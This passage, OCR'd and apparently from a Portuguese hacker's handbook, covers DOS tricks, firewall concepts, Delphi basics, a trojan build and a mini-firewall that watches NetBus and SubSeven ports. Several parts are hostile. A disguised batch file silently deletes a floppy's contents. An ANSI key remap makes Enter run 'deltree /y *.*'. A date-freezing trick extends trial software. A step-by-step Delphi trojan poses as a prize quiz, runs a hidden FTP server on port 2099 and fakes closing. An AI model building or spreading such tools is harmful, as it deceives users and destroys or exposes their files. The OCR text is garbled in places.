bat2exe que transforma o arquivo bat em executavel (podendo ser COM ou EXE). Assim,
muitas pessoas caem no seu trugque a cada dia.

"< MS5-DOS Prompt - EDIT

s 1o M ) s =

Iiptions elp
C:wmarcositeste._ bat

dir
echo s | del az=.% > nul_

Nesse exemplo, enviamos o caractere s (echo s) para o comando del, assim ao executar
0 arquivo bat (ou badcom nesse caso) ele limparé a tela (cls), listara os dados(dir) e logo
em seguida ird apagar o contetdo do disquete (drive a). E ainda ndo mostrara nada na
tela (nul).

Caracteres ALT

S0 obtidos ao se pressionar e segurar a tecla ALT e alguma sequéncia de trés ou quatro
numeros do keypad numeérico (esse a direita do teclado). Alguns exemplos séo ALT + 987
(que desenha um quadrinho amarelinho), ALT + 167 (simbolo ©), ALT + 255 (caractere
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vazio, 6timo para criar arquivos sem nome) e muitos outros. Existem muitas combinaces

possivels de se fazer, € sO usar aimaginagaéo. Os perigos dessa tética € criar diretorios usando
caracteres ALT, assim o Windows ndo consegue acessalos. Ou criar arquivos bem
escondidos sem nome. Também tém as suas vantagens, se VOcé criar uma senha com esses

caracteres, serd extremamente mais dificil de ser descoberta. Pergunte ao seu provedor se 0
sistema deles admite o uso do ALT.

Y& MS-DOS Prompt
i@l Bl Y5 Al

Cowvmarcos mnd ol
Cowmarcosred ol

Covmarcos s ol 4 ir

Dolume in drive C is MARCOS
Volume Serial Humber is 3268-0FFD

Directory of Co'wmarcos\Wlleliesll

<DIR> 2708501 16:5% .
<DIR> 217085701 16:5% ..
0 file(s) 0 bytes
2 dir(sd $28.06 MB free

Cvmarcos\anllallell”

Primeiro criamos e acessamos um diretério usando caracteres ALT + 987 e ALT +
088.
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Windows Explorer

E- hlabs
-7 megacent

- mids
- Mimrwa

F-_ mouse
5.0 Mp3

Agora tentamos acessar o diretério criado pelo Windows Explorer.

Macros do doskey

Os antigos usué&rios do DOS se lembram muito bem do nome doskey. Ele era muito
utilizado para repetir os comandos mais usados pelo usuario ao se apertar a tecla para cima.
Algo como o botdo voltar do Internet Explorer. Mas esse pequeno comando pode ser utilizado
para outros fins interessantes, como a criagdo de macros. Vamos fazer um teste criando uma
macro chamada listar.

Doskey listar=dir

Ao executarmos a macro listar (executando-a como se fosse um comando comum), ela
automaticamente dara um dir , ou sgja, listara os diretérios e arquivos. Até aqui a coisa ndo
tém muita graca. Mas e se utilizarmos os caracteres $T7?

Doskey listar=dir/p $t mem

Neste exemplo, ao executarmos a macro listar o sistema dara um dir com pausa e executara
logo em seguida o comando mem , que mostra o status da memaria do sistema. Assim,
usando o recurso $T podemos executar diversos comandos com uma s6 macro. Mas o
interessante vém agora:

Doskey dir = cls $t ver $t mem

Nés conseguimos criar uma macro com o proprio comando dir. Assim quando alguém for
listar diretérios, tomard um susto danado. 1sso funciona para todos os comandos do dos. Passe
um bom susto em alguém. O exemplo a seguir mostra a criag&o de outra macro.
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12 MS-DOS Prompt

L_eoo IS EE N ES = N

C:Zwrdoskey dir=echo Teste
D0SKey i1nstalled

Czwrdir 110
C:Vrecho Teste
Teste

Cov

Para resetar as macros, aperte alt + f10.

Variaveis do sistema

Vou abranger rapidamente essa secdo dizendo apenas que existem muitas variavels de
sistema do DOS, e que todas podem ser mudadas usando o comand set. Vou demonstrar um
otimo exemplo:

Set dircmd=@

Isso faréd com que a0 listar os diret6rios e arquivos, ndo apareca nada. O significado do @ €
esse, esconder. Mas vocé pode colocar como dircmd a opgédo /p ou /w ou alguma outra. Elas

irdo automatizar o processo de listar com pausa, etc. Se teve duvidas, tente fazé-lo que ira
entender.

Comandos ANSI

Esse é 0 mais interessante de todos. Antes de tudo, verifique se existe essa linha no seu
config.sys (ele ficanaraiz). Se ndo exigtir, inclua.

Device = c:\windows\command\ansi.sys

2 MS-DOS Prompt - EDIT

el ] el I Y

elp

C:A\COHFIG.S5YS
DEVIGCE=C:-WIHDOWSYHIMEM. §¥§
rem - By Windows Setup - For 1st Boot - DEUVICE=C:\WIHDOWS\EMM386.EXE
device=C:WWIHDOWSACOMMAND \display.syvs con=Cega,,1)
Country=055, 850, C:\WIHDOWS\COMMAMD \country.sys
device clwindowshcommandhansi.sys
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Agoraresete o computador. Va para o prompt do DOS depois que elereiniciar.

Deixe-me explicar por partes: primeiro vamos definir algumas cores dos nimeros:
0 —Preto

1 - Vermelho

2 — Verde

3 - Amarelo

4 — Azul

7 —Branco

E agora o status:

0 — Letra mais forte

1 - Letra mais fraca

5 — Piscando

Ok, qual o significado de mostrarmos esses nimeros? Vocé vai entender.
C:\> prompt $e[1;33;44m$p$g

"< MS-DOS Prompt

dir *.bat

e in driw

Im

birecto
AUTOEXECZ BAT 20 1 10:47 AUTOEXEC.BAT
1 fi 12 bytes
o di 1.290.66 ME Tree
“=prompt fe[omEp$g

dir *.bat

O comando prompt (atencdo, o c:\> ndo é para ser digitado) € usado para alterar esse c:\>
do DOS. Mas a sua opcdo $e € a de ANSI. O exemplo acima é dividido em trés partes. 0
nimero 1 € o status. Logo depois ele € separado da dezena de 30 pelo ponto e virgula. A
dezena de 30 € aresponsavel pelaletra, entdo colocamos o 3 (ficando 33) para que aletra sgja
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amarela. Logo depois outro ponto e virgula separando a dezena de 40. E colocamos a cor
azul (ficando 44).0 m é usado para terminar a sentenca e o $p$g sdo para o0 prompt continuar
0 mesmo (ou segja, ndo mudar o ¢:\>). Acho gque ja deu pra entender como se muda as cores,
vamos mudar algumas teclas agora. Que tal o virus cebolinha? Mudaremos ateclar pelal.

C:\.> prompt $e[“r”;”1”pSp$yg

Esse comando trocara a letra r pela |. Experimente pedir a alguém digitar seu nome. O p
faz amesma coisa que 0 m nacor. Mais dois exempl os apenas.

C:\> prompt $e[0;60;””";13p$p$g

Esse comando transforma a tecla F2 (cujo cédigo € 0;60) em Enter( o 13p no final). Agora
val 0 comando mais malvado de todos.

C:\> prompt $e[13;deltree /y *.*”*;13p$p$g

Cuidado ao executa-lo, ele fard com que sO de pressionar a tecla Enter (cédigo 13) , se
execute o0 comando deltree /y *.* que apagara todos os arquivos. Troque o comando entre as
aspas como teste. Para voltar as teclas ao normal, seria preciso saber o codigo delas. Ha um
método mais facil. Feche o prompt do dos ou resete o computador.

Velhos truques

O DOS é cheio de truques muito interessantes. Vou dar apenas uma pahinha pois o
gostoso € fucar e descobri-los por vocé mesmo. Mas tenho certeza de que essa dica serd muito
atil. Abra o arquivo autoexec.bat (que esta naraiz) e coloque o comando date mais a sua data
atual. Mais ou menos assim:

Date 22/11/2001
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"< MS5-DOS Prompt - EDIT

I a2 el i ) l_

I1ew
C: \HUTHEHEE BAT

SET BLASTER=AZ22D0 I7 D1 HT P330
SET SBPCI=C:“AUDIOPCI
SET PATH=ZPATHZ;C-W\PROGRA™1\BEORLAHDNDELFHIS B IH; C-\PROGRA™ 1 \BEORLAHDUBRORERB I
SET CLASSPATH=C:“PROGRA™1\BORLAHDSVEROKERN11ibvbcpp.jar
mode con codepage prepare=CCE50) C-\WIHDOWSACOMMAHD“ega.cpi)
mode con codepage select=850
kevh br,,C-\WIHDOWSACOMMAHDAkevboard. syus
date 2271172001

Salve 0 arquivo e resete o computador. Esse lhe trard duas vantagens: primeira: aqueles
virus com dias programados para atacar, nunca atacaréo seu pc (e sdo mais de 50% dos virus
existentes) e segunda: 0s programas que vocé pode usar por 30 dias poderdo ser usados para
sempre. E uma 6tima vantagem. Ah, os segredos do DOS :-)

Aprendendo
ase
proteger
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Firewall

Conceito de Firewall

114

Firewall ou barreira de fogo é um artificio largamente usado em redes. A sua funcéo €
proteger o sistema de tentativas indevidas de acesso, principalmente vindas da Internet. Ele
controla o trafego, permitindo ou negando acesso a certas portas de servicos. Geramente se
deixa apenas a porta 80 (www) ativa para que as pessoas consigam acessar 0 website da
empresa. Resumidamente o firewall € o seguinte: um HD que possui duas placas de rede,
sendo uma ligada a rede corporativa e outra ligada a Internet. A partir disto pode-se
implementar uma tentativa de seguranca, que consiste em um pacote que determina o que é ou

ndo permitido passar de umarede a outra. Podem ser feitos de software ou hardware.

4+ BlackIiCE Defender
File “ew Tool Help

Ahtackz | |ntruders Hiﬂﬂf.'r'llrfurmatinnf

=10l x|

@ @

e Attacks
L i Citical
™ Hour 0
i Day
]
—Total In 90 Dayz; N
Critical P o 1
0 attacks 90 days age e
CLspicious
36 attacks | Netwo r|§Tr B
Traftic T e ———
2.7 pac:ketsl 3
—|n 90 Daps —— pEr S0
High Traffic Day
3.3M packets = .
90 days age e
Cloze Help :
| s

Exemplo do firewall blackice rodando. (www.blackice.com)
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Eficiéncia
Existem 2 tipos de firewall: um que analisa a camada de rede, o pacote IP, e outro que
analisa a camada de aplicacéo, dentro do pacote IP.

Firewall analizando a camada de rede

Estes se limitam ao nivel de IP. Decidindo o destino dos pacotes (aceito ou ndo), tendo
como base: remetente, porta IP utilizada e enderego do destinatério. Qualquer roteador pode
ser configurado para firewall, mas sera um firewall smples. Isto fara com que ele fique
protegido contra crackers iniciantes, mas pode ser vitima de ataques comuns e bem cléssicos.
Como por exemplo: o IP Spoof

Em méaquinas bem configuradas, a barreira de fogo concede acesso apenas a computadores
considerados de confianca (enderecos conhecidos). Para introduzir-se a uma maguina bem
configurada € necessario fazer com que ela o considere confiavel. Isto se chama spoofing.
Consiste em mandar pacotes com 0 endereco legitimo de uma méquina da rede interna. A
vitima acreditara que o invasor € de confianca e respondera enviando pacotes para o endereco
do remetente. No entanto o cracker deve tomar precaugoes:

- Certificar-se que a maquina legitima ndo responda aos pacotes. Isto é feito
garantindo-se que ela esteja off-line( desconectada).

- Garantir que aqueles pacotes sejam enviados para a Internet, j& que a maquina
legitima encontra-se dentro da rede interna.

Paraisto é usado 0 "source routing", que consiste em uma técnica criada para testes. Ela
permite que o computador gue inicia a comunicacdo especifique qual a rota de todos os
pacotes de uma certa conexdo. Isto faz com que o0s pacotes sejam expelidos da rede pra a
internet (veja em anonimidade uma explicacéo mais simples do | P Spoofing).

Firewalls mais novos ndo permitem a uso do spoofing e do souce-routing, pois eles, aém
de rotear 0s pacotes para seus destinos também mantém informacdes sobre o estado das
conexdes e sobre 0 contelido do pacote, 0 que permite impedir que um pacote pertencente a
rede interna seja mandado a Internet. O firewall ir4 caracterizar isto como um ataque e tomara
as devidas providéncias.

Sofisticados, ou ndo, eles sdo transparentes e rapidos pois roteiam trafegos diretos e é
exatamente isso que o impede de analizar o contelido efetivo do pacote e também exige que as
maguinas na rede interna possuam um endereco | P valido.

Firewall analizando a camada de aplicacao

Estes normal mente séo CPUs de uso geral de rede que rodam programas chamados: " proxy
servers' . Este tipo de firewall ndo permite comunicacdes diretas entre duas redes, pois
requerem o estabelecimento de duas conexdes. Uma delas do remetente proxy e a segunda
entre o remetente e o destinatario. Todo pacote antes de ser ecoado € analizado pelo proxy
server. Eleiradecidir se o pacote deve ou ndo ser descartado.
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Vale saber que devido a estas caracteriscas o firewall de aplicacdo oferece uma
seguranca maior do que o firewall de rede, pois consegue perceber perigo em um pacote que o
de rede ndo conseguiria.

Dois exemplos de coisas que este tipo de defesa pode filtrar sdo:

- O primeiro € DEBUG do SMTP que é usado para pedir a um servidor de correio
que forneca algumas informacdes de controle. O que é considerado risco.

- Um segundo exemplo s@o os Proxys FTP, que vedam o acesso de usuarios externos,
mas mesmo assim, permite que os funcionarios copiem arquivos da NET para a rede.

Cada uma dessas vantagens dependem do funcionamento do protocolo de defesa, sendo
gue estes ndo poderiam ser colocados nos firewalls de rede, ja que néo séo capazes de analizar
o contetido do pacote IP. Firewalls de rede sdo mais transparentes do que os de aplicagdo, ja
gue os de aplicacdo exigem a existéncia de um proxy, além de proibir a comunicacéo direta
entre o servidos e o cliente. E necessario que o programa cliente saiba que deve estabelecer
com o proxy e determinar agoes. Entdo basta configurar o browser corretamente.

Muitas vezes os clientes ndo sdo sofisticados o suficiente, e necessitam de conexdes diretas
com o servidor. Neste caso utiliza-se 0 seguinte artificio: o usuério se loga no proxy e este em
vez de solicitar nome e senha (como seria de esperar), solicita 0 nome do servidor com o qual
se desgja a conexdo e a partir dai, tudo funciona normal mente.

Conclusao

Os firewalls sdo essenciais e importantissimos, quando bem configurados. Possuem falhas
(como visto anteriormente) assim como qualquer tipo de programa, e essas devem ser
corrigidas. Nenhum firewall € 100% seguro, mas ajuda muito (6 como ajuda). Compre dja!
Ou use a nova moda fashion: soft livree Cheque aguns firewals em
www.superdownloads.com.br (o pessoal do superdownloads tém que me agradecer, o link
deles mais aparece aqui do que tudo). Experimente alguns como o Conseal PC Firewall, o
Zone Alarm e outros.

Atencdo: ndo sei se ficou bem claro mas o Firewall também pode ser usado muito
bem contra trojans, pegando praticamente tudo (mas ele ndo retira o trojan do PC).
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Codigos-fonte

A importancia da programacao

Por qué programar?

Uma vez um programador disse: “por qué me pagam para eu me divertir tanto?’. A
programagdo é essencial no mundo da seguranca pois ela melhora o raciocinio e nos da uma
melhor visdo |dgica das coisas. 1sso ndo significa hecessariamente que vocé precisa ser bom
nalinguagem C. Alguns livros dizem que “hacker é o que sabe C, portanto aprenda na marra’.
Isso € uma mentira, conheco programadores 6timos em C que ndo sabem nem o que é
endereco |P ou DNS. Aprenda uma linguagem de programacao qualquer, dé preferéncia pelas
mais faceis como o0 Basic. Aos poucos va avancando e tentando novas linguagens. Tente Perl
(wwwe.activeperl.com) que é uma boa opcdo. Vocé ndo precisa aprender para criar aqueles
excelentes programas, 0 nosso objetivo agqui é que vocé entenda melhor como um programa
funcionainternamente, assim entendendo também como muitas das falhas podem ocorrem.

Linguagens orientadas a objeto

Antigamente precisavase de muitas horas para construir a interface gréfica de um
programa em codigo. As linguagens orientadas a objeto ja possuem a criagdo da interface de
um modo visual extremamente simples. A sua preocupacdo sera entdo apenas as funcdes
principais do programa ja que os botbes, caixas de textos e outros elementos graficos sdo
muito féceis de se colocar. Os programas mais famosos que utilizam essas linguagens séo o0
Visual Basic e o Delphi. Nés usaremos o Delphi nesse livro, pois acho-o de longe a melhor
linguagem orientada a objeto e de quebra a mais facil de se aprender.

Aprendendo a usar o Delphi

N&o vou entrar muito em detalhes pois 0 nosso assunto principal NG € programagao.
Utilizaremos a versdo Cliente / Servidor do Delphi. E um programa simples de se mexer e
quase totalmente visual. E sO observar pelatela abaixo:
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Meu programinha

programinha

Observe que na parte superior existem pequenas icones de ferramentas como botdes,
menus e caixas de texto. Se quiser colocar algum deles em seu programa, apenas selecione
clicando-o e clique novamente no formulério (que é essa parte cinza com afrase: “O Delphi é
muito facil de se mexer”). Pronto. Se vocé apertar a tecla F9 seu “programa’ ird rodar.
Simples ndo?

A barra a esquerda tém a func@o de mostrar as propriedades de algum objeto colocado no
formulério. Vamos supor que vocé gqueira mudar o titulo do programa (aguela frase que fica
na barra superior de qualquer software). E sd vocé selecionar o formulério dando um clique
em cima dele , que 0 nome Forml ir4 aparecer no gerenciador de objetos (conhecido
anteriormente por barra a esquerda). Esse é o nome do nosso formulério, é dado pelo Delphi e
pode ser modificado mas como estamos apenas dando uma leve no¢&o continuaremos com
esse nome mesmo. Agora observe algumas propriedades do formulario tais como: Color (cor),
Font( fonte) e Caption. Essa Ultima é a que nos queriamos. Selecione-a clicando no espago a
sua frente e escreva “Esse € 0 meu programa de teste”. Aperte enter para confirmar.
Prontinho. Se vocé aperter F9 de novo, amodificagdo jaterasido feita

Todos os objetos funcionam assim: imagens, botdes, gréficos, componentes de Internet,
todos sem excegdo possuem propriedades. E muitas em comum de um para o outro. E s6 fucar
um pouco (coisa que tenho certeza que se vocé comprou esse livro € porqué gosta) que logo
aprende muita coisa.

Instalando os componentes necessarios

Para que vocé possa construir os programas que serdo explicados aqui, € necess&rio que
Vocé possua componentes (objetos) de Internet. Nem sempre o Delphi traz esses
componentes, entdo preferi utilizar componentes extras. Aqui explicarei passo a passo aonde
pegar esses componentes e como instal&los sem maiores problemas.
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e Visite 0 enderego sunsite.icm.edu.pl/delphi/ , procure por ICS (Internet Component Suit)
€ pegue 0s componentes

e Execute 0 arquivo (ou descompacte-o se ele for no formato zip)
e Abrao Delphi
e Cligue em Component e depois em Install Component. A seguinte telairéd aparecer:

B Install Component

pas' "C:\maroostWS ackBuf pas' 'C: \marcos\FipS v pas”

c:hmarcoshservers.dpk
Meus componentes de servidor baixados da nelf

Se vocé quiser instalar os componentes em um “pacote” (um conjunto de componentes) ja
existente, deixe selecionada a secéo Into existing package. Se quiser criar um novo
pacote, clique em Into new package, logo depois va em Package file name e coloque o
arquivo que vocé ird criar. Exemplo: c:\teste.dpk (todos os pacotes possuem extensao dpk).
Procure onde esté escrito Unit file name. Clique em Browse (o botdo logo afrente). VAno
diretério em que vocé descompactou os componentes e selecione todos. Clique ok depois
para confirmar. Vamos para a proximatela

119



120

Se vocé selecionou a opgao de criar um novo pacote, o Delphi irda mostrar uma mensagem
dizendo que o pacote serd construido e instalado. Clique Yes. Caso a mensagem nao
apareca ou a opcao de instalar em um pacote ja existente foi selecionada, clique em Install
ou Compile no quadrinho que apareceu (observe a figura acima). Pronto. Os componentes
estdo instalados. Na paleta de componentes (Dialogs, System, Standard...) vai aparecer
mais um nome na barra de componentes: Fpiette.

Algoritmo

O que é um algoritmo? Nada mais é do que o projeto escrito de um programa. Algo como a
receita de um bolo. Quando fazemos o bolo ndo colocamos manteiga, ovos e explicamos
como o processo sera feito (ex: bater duas vezes, levar ao forno por 15 minutos)? O programa
também é assm. Um exemplozinho bobo de algoritmo segue na proxima pagina. E um
programa que checa produtos para saber se tém poucas calorias ou ndo. Se tiverem, podem ser
consumidos no SPA que comprou o programa. Se ndo, estdo foradalista

Programa SPA;

DEFINIR Lugares = Carrefour, Extra, Champion , Padaria do Mané;
DEFINIR Precoméximo = 50;
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PROCURAR Lugares por Mais Perto;

Com Mais Perto faca:
Obtenha lista de Produtos,
SE Produtos for maior que pregcomaximo entao:
Desista;
Volte pra casa;
SENAO
Cheque Calorias;
SE Calorias for menor que 100 ent&o:
Compre;
SENAO
Continue procurando;

Dificil? Apenas aparentemente. E apenas pura |6gica. Observe bem: Primeiro dissemos ao
programa para definir os possiveis lugares para compra, que foram Carrefour, Extra,
Champion e Padaria do mané. Depois definimos o0 preco maximo em 50 reais. Apos feito
isso, procuramos na variavel Lugares (que contém 4 elementos) pelo mais perto. Obtendo o
mais perto, o programa faz um pedido da lista de produtos. Se esses produtos forem mais
caros que o prego méximo definido de 50 reais, entdo o programa desiste e volta pra casa. Se
ndo, ou segja, se for mais barato que o preco maximo, hora de checar as calorias desses
produtos. Se forem menores que 100, compre. Se ndo, continue procurando.

Observe novamente as linhas do algoritmo acima e pense: por qué elas foram chegando
paraadireita? Isso se deve a estrutura de um algoritmo. Sempre que fazemos uma condicéo
(como é o caso do SE) devemos colocar o cddigo mais adireita. Exemplo:

SE Produtos for maior que pregcomaximo entao:
Desista;
Volte pra casa;

Nesse trecho do codigo, estamos respondendo a condicéo feita. Se escrevéssemos tudo em
umaso linhaficariamais fécil para entendermos:

SE Produtos for maior que precomaximo entdo Desista e Volte pra casa;

Mas imagine se vocé tiver um algoritmo com 300 linhas? 1sso seria confuso. A fungdo de
se colocar os comandos a direita (e na linha de baixo) de uma condicéo € somente facilitar
guando tivermos um codigo grande e precisarmos encontrar algum trecho dentro dele. Se
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vocé ainda teve duvidas, leia novamente e cuidadosamente o agoritmo. Pense
logicamente. Sera de grande gjuda para comecarmos a meter a méao na massa de verdade.

Object Pascal

Object pasca é alinguagem de alto-nivel utilizada pelo Delphi. Ela nada mais € do que um
melhoramento do Turbo Pascal para Ms-Dos. E uma linguagem bem simples de se aprender e
muito poderosa. Para acessar a janela do cddigo, clique no formulério principal e aperte F12
ou simplesmente clique na janela branca que fica atras desse formuléario. Existem muitos e
muitos comandos e diretivas para pascal. Vamos apenas ver 0s basicos que precisaremos no
nosso exemplo de programa mais tarde.

Eventos : Todo objeto no Delphi (como o botdo) tém propriedades. I1sso nds vimos
anteriormente quando mudamos o Caption do Formulé&rio. Mas esses objetos também
possuem mecanismos que os ligam ao codigo. Esses mecanismos se denominam Eventos. Se
vocé colocar um botdo no formulério e clicar duas vezes em cima dele, o Delphi o enviaréa
para atela de codigo usando o evento OnButtonClick (ou traduzindo, no clique do botao).

Assim é sO vocé colocar algum comando. Quando o programa rodar (apertando F9) esse
comando se executara assim que voceé clicar no botdo. No Object Inspector a esquerda, esta
0 modo correto de se acessar 0s eventos de um componente. E so clicar em Events e clicar
duas vezes no evento desgjado. N&o se esgueca de selecionar antes o objeto dando um clique
em cimadele. Achou dificil e complicado? Garanto que apds o exemplo ndo achardamais.

Exemplo:

e Clique no componente button (botdozinho com um desenho escrito ok) e clique no
formulario. O que vocé vera é isso:
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e Clique duas vezes no botdo gque vocé colocou no formulario. Uma tela de codigo ira
aparecer. Aperte espago umas trés vezes (para manter o codigo a direita, como foi
mostrado em algoritmos) e digite buttonl.color := clwhite; Aperte F9 para rodar o
programa. Clique no botdo. Ahd, mudamos a propriedade de cor do botdo para branco.
Parabéns, seu primeiro programinha esta pronto.

Criando os aplicativos

Visao geral

Vamos criar dois programas em Delphi para mostrar o poder dessa ferramenta. N0ossos
programas serdo opostos. um trojan simples e um mini-firewall. Para ambos, utilizaremos
apenas um componente: o FtpServer, que foi instalado na pasta de componentes Fpiette. E
interessante notar que com um simples objeto (que funciona desde o primeiro Delphi a sua
versdo mais atual) podemos criar programas muito sofisticados. Claro que os que criaremos
serdo mais simples, apenas para exemplificar. Vamos criar primeiro o trojan.

Trojan simples

Nosso trojan consistird em um mini-servidor FTP que ficard ativo na porta 2099 (se vocé
tiver davidas sobre como se conectar a servidores FTP e 0 que sdo portas, dé uma lida no
capitulo sobre protocolos). Criaremos um programa em que quando passamos 0 mouse em
cima de um botdo, esse some e aparece em outro local do formul&io. E um daqueles
programinhas bobos que vém em revistas com 0 nome de “ Inutilitérios’. Mas a nossa
intencdo é que a pessoa 0 utilize sem desconfiar que seu computador esta aberto para o
mundo. Vamos fazé-lo passo a passo.

e Coloque cinco botdes no formulério do modo que demonstra a figura na pagina seguinte.

e Cligue em cada um dos botdes, va em suas propriedades (mostradas no object inspector a
esguerda) e mude o caption para “NAO” (sem as aspas). Apenas no local que um botéo
esta colado no outro, cologue o caption do botéo da esquerda como “SIM”.

e Selecione um label na barra de componentes (ilustrado com uma letra A) e cologue-0 no
formulario.

e Mude o caption do label para*“Vocé ganhou na mega-sena. Deseja doar seu prémio?”

e Va nas propriedades do label, clique em Font (no espaco na frente da palavra Font).
Clique no bot&ozinho com 3 pontinhos (...). Passe a fonte para negrito (bold) e coloque o
tamanho 14. O tamanho deve ficar como o dafigura.

e Agora, novamente cligue em cada um dos botdes, com excecao dos dois que estdo juntos,
va em suas propriedades e mude o valor de visible (visivel) de true parafalse. Ou sgja, 0s
botdes ficardo invisiveis (na hora de rodar o programa).
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O resultado do que fizemos serd 0 mostrado a seguir.

[abI]| (=] ) %] @)

Ja sacaram do que se trata? O que faremos € incitar a pessoa a responder NAO (quem iria
guerer doar um prémio desses?), s6 que o botdo ira “fugir’ (na verdade o botdo que o usuério
passar 0 mouse em cima mudara seu status de visivel parainvisivel e a0 mesmo tempo outro
dos botdes escondidos ficara visivel, dando a impressdo de que o botdo correu.). Bom, vamos
para a segunda etapa do nosso trojan. Siga novamente esses passos:

e Clique no primeiro dos botdes em que esta escrito NAO para selecioné-lo. E o que esta do
lado do SIM.

e No Object Inspector, vd em Events e clique duas vezes na frente do evento
OnMouseMove (é o evento gque controla quando passamos 0 mouse em cima de alguma
C0isa).
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e Logo que atela de codigo aparecer, escreva as seguintes linhas (sempre estando no
meio do Begin e do End):

Button2.visible := false;
Button3.visible := true;

e Tome cuidado com 0 nhome dos botdes. Para que vocé siga exatamente como esta aqui €
necessario que vocé tenha colocados os botdes nessa ordem: Primeiro o SIM, depois o
NAO a sua direita, depois 0 NAO que esta a esquerda do formulério, 0 NAO que esta na
parte superior e por Ultimo o NAO a direita do formulério. Se ndo colocou nessa ordem,
apague os botbes (clicando em cima deles e apertando a tecla Delete) e coloque-os de
novo seguindo 0s passos na pagina anterior. 1sso é importante para que 0s nomes desses
botdes coincidam com o exemplo.

O c6digo seré colocado como mostra a figura a seguir

E Unitl.pas

procedure TForml.EButtonZClick(3ender: TObject):
begin
huttonz.visible :
huttoni.visible :
end;

false;
Lrue;

end.

Vamos repetir esses procedimentos com todos os outros botdes NAO. Comegando pelo botéo
a esquerda do formulario. Novamente selecione-o, va em seus eventos (Events) e clique duas
vezes em OnMouseMove. Coloque as seguintes linhas de codigo:

125



126

Button3.visible := false;
Button4.visible := true;

e Repita o procedimento com o botd NAO no topo do formulério, inserindo o seguinte
codigo:

Button4.visible := false;
Button5.visible := true;

e Calma ai gente, esta quase acabando. Logo vou explicar o por qué dessas linhas de
codigo. Agorao codigo do ultimo botdo NAO adireitado formulario:

Button5.visible ;= false;
Button2.visible ;= true;

e Agoraparavariar um pouco, fagcamos o seguinte: clique no botdo SIM umavez, vaem
seus eventos e clique duas vezes no evento OnClick (se quiser poupar trabalho, pode
somente clicar duas vezes no bot&o SIM). Escreva o seguinte codigo:

Labell.Caption := “Vocé é muito bonzinho. Obrigado.”;

Rode o programa e veja o resultado. Gostou? Pois €, 0 processo € muito simples: cada vez
gue se passa 0 mouse em cima de um bot&o (o qual podemos controlar usando o evento
OnMouseMove) , esse botdo vai mudar a sua propriedade visible parafalse (se visivel é falso,
0 botdo esta o qué?) e mandar o proximo botdo mudar a sua propriedade visible paratrue. E
isso ird serepetir continuamente. Observe gque no ultimo codigo digitado, mandamos o bot&o
de nome button? ficar visivel. Esse bot&o é o primeiro dos botdes com o NAO. Ou sgja, nesse
ponto, comegamos tudo de novo.

Bom, isso foi apenas o que 0 nosso programa fingira fazer. Agora que ja construimos o seu
falso codigo, vamos implementar 0 nosso servidor FTP.

e Nabarrade elementos, selecione FTPServer e coloque-o no formulério.

¢ Clique no quadrinho do componente FTPServer, va em suas propriedades e mude a porta
(propriedade port) para 2099.

e Clique no formulario para seleciona-lo( Na parte vazia do formulario). Va em seus
eventos e clique duas vezes no evento OnCreate. Esse evento € chamado todas as vezes
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gue o programa € iniciado. Para nés € perfeito, ndo queremos que nosso trojan esteja
ativo com o inicio do programinha? Escreva o seguinte codigo (nunca se esquecendo que
ele deveficar entre o Begin e 0 End):

FTPServerl.Start;

Esse comando fara com o que o servidor FTP se ative e monitore a porta 2099. Se vocé for
ao prompt do ms-dos e executar (com o programa rodando, € claro) ftp 127.0.0.1 2099, vocé
se conectara ao trojan. Se quiser pode digitar asintaxe do FTP direto pelo Windows, indo em
Iniciar / Executar (sem necessidade de abrir o prompt).

Tudo esta quase terminado agora. SO nos restou um problema: e se estivermos puxando
algum arquivo e a pessoa fechar o programa? Noés iriamos ser desconectados. Para resolver
esse problema, vamos “enganar” o usuario.

e Selecione o formulério clicando umavez em cimadele. Nas propriedades, clique em duas
vezes no simbolo “+” que esta na frente da propriedade Borderlcons. Logo que a
propriedade se expandir, cligue nafrente de biSystemMenu e selecione false. Isso fara
com que aquele X que clicamos parafechar programas desapareca.

e Coloque um novo botdo, e mude o caption para “Fechar”. Cligue duas vezes nele para
acessar 0 evento OnClick. Agora cologue o seguinte codigo-fonte:

Forml.Visible := false;

Como ndo existe mais aguele pequeno X para fechar a aplicagdo, o usuario clicara no botéo
Fechar. Mas naverdade, esse fechar apenas escondera a aplicacéo. Elaainda estara ativa e
com o servidor FTP rodando bonitinho. Umaidéa de onde vocé pode colocar o bot&o fechar é
mostrada na figura abaixo:
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E Programa da Mega-5ena

Nosso trojan esta pronto. Ele é extremamente simples como deve ter dado para perceber,
mas 0 meu interesse é que vocés tenham entendido como sua estrutura funciona ao invés de
somente ficarem lendo toneladas de codigos-fonte inditeis (como alguns livros trazem). A
partir desse ponto a criatividade a aimaginacéo ficam a cargo de vocés. Afinal, o
programador nada mais € do que um artista. Renascentista.

Mini-firewall

A estrutura do mini-firewall ser& muito parecida com a do trojan. Na verdade, 0 nosso
programa sera um firewall de trojans. Manderemos que ele monitore duas portas TCP: a
porta 12345 do trojan Netbus e a porta 1243 do trojan Subseven. Primeiramente, crie uma
nova aplicacdo e adicione um campo memo, selecionando sua propriedade enabled para
false. Agora seguiremos novamente passo a passo.

1. Adicione dois botdes ao lado do campo memo e mude seus captions para Monitorar e
Parar.

2. Coloque dois componentes Ftpserv no formuléario.

Mude o nome (name) do primeiro componente para Netbus e sua porta (port) para
12345.

4. Mude o nome do segundo componente para SubSeven e sua porta para 1243.
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Teremos mais ou menos isso:

iz Mini-firewall

L UIETRD  ETRI- Ll
Sl serw| D Eery

Agora, selecione o componente ftpserv de nome Netbus, e v4 em seu evento (event)
OnClientConnect. Digite o0s seguintes comandos:

memol.Lines.Add(*O endereco IP '+ Client.GetPeerAddr +' tentou netbus’);
netbus.DisconnectAll;

N&o se esgueca do ponto e virgula no fim das linhas. A primeira linha adiciona um
texto no campo memo com o endereco IP do invasor. A segunda linha desconecta o

individuo. Esse evento onClientConnect acontece no momento exato em que a pessoa
estabel ece uma conexdo TCP com 0 seu computador.

Vamos repetir agora com 0 SubSeven. Selecione 0 componente, va no evento
OnClientConnect e digite essas linhas:

memol.Lines.Add('O endereco IP '+ Client.GetPeerAddr +' tentou Sub’);
Subseven.DisconnectAll;
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Nossos componentes ja estdo bem configurados. Agora s falta os botdes. Clique
duas vezes no botdo de caption Monitorar e coloque:

Netbus.Start;
Subseven.Start;

Cligue duas vezes (ou va na propriedade OnButtonClick) no botdo Parar e digite:

Netbus.Stop;
Subseven.Stop;

Como ultimo passo, suba a barra de rolagem do codigo-fonte até encontrar a clausula
USESIano inicio do texto. Sera mais ou menos i sso:

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, FtpSrv;

Agora inclua no fim da dltima palavra (que no caso do exemplo € ftpsrv mas ndo
